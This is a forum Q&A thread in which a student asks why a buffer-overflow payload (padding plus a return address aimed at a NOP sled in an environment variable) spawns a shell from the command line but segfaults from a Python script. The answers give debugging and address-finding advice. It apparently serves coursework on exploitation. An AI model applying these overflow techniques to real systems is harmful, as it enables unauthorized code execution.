buffer overflow in python script

Question

I am developing a script to perform an a buffer overflow for an assignment in school. However, I am stuck at a point where my payload works injected through the commandline, but not injected through my python script.

When I inject my payload from the commandline:

 user@ubuntu:~/Documents/$ /home/user/Documents/easy $(python -c 'print"AAAAAAAAAAAAAA"\xa0\xf4\xff\xbf"')
 $ exit  //I get the shell.... 

The return address

\xa0\xf4\xff\xbf

Is the address of my NOP sled in an environment variable.

Now, I run the complete same command through my python script:

 path = "/home/dvddaver/Documents/easy AAAAAAAAAAAAAA\xa0\xf4\xff\xbf"
 os.system(path);

However, when I run my python script, I get a segmentation fault:

 user@ubuntu:~/Documents$ python bruteforcer.py
 Segmentation fault (core dumped)

Answer 1

I understand it is a bit late for your assignment ;) but for other students who may be groping in the dark with similar problem, here goes...

Python is written in C, and the C executable is throwing the segmentation fault error. To understand segmentation fault you need to run Python itself in gdb (GNU Debugger assuming you are on Linux/Unix) and then pass in your script as the parameter and then step through the C code written for Python.

It is quite possible that you have have caused a buffer-overflow within the python interpreter to have caused a segmentation fault (so that's good!). Though I cannot say for sure in the case you are executing here.

I have studied one of the vulnerabilities of Python in detail and blogged about it. It affects older versions of Python 2 and 3. I downloaded the Python source and built the source with debugging on.

Next I figured out how Python works and executed Python scripts on the built interpreter and stepped through them in GDB.

I have uploaded my work on my Blog (http://yazadk.wordpress.com/2014/12/10/remotely-exploitable-buffer-overflow-in-python/) - though mind it we were specifically looking for C programs that had buffer overflow available in the wild and I happened to choose Python which is written in C.

I hope this gives you some basic insight in what you or anyone else is trying to achieve.

Answer 2

The address in your environment may have changed because the environment is different.

You could look at the coredump to find out the correct address to use ( you don't have to use a nop sled then :) )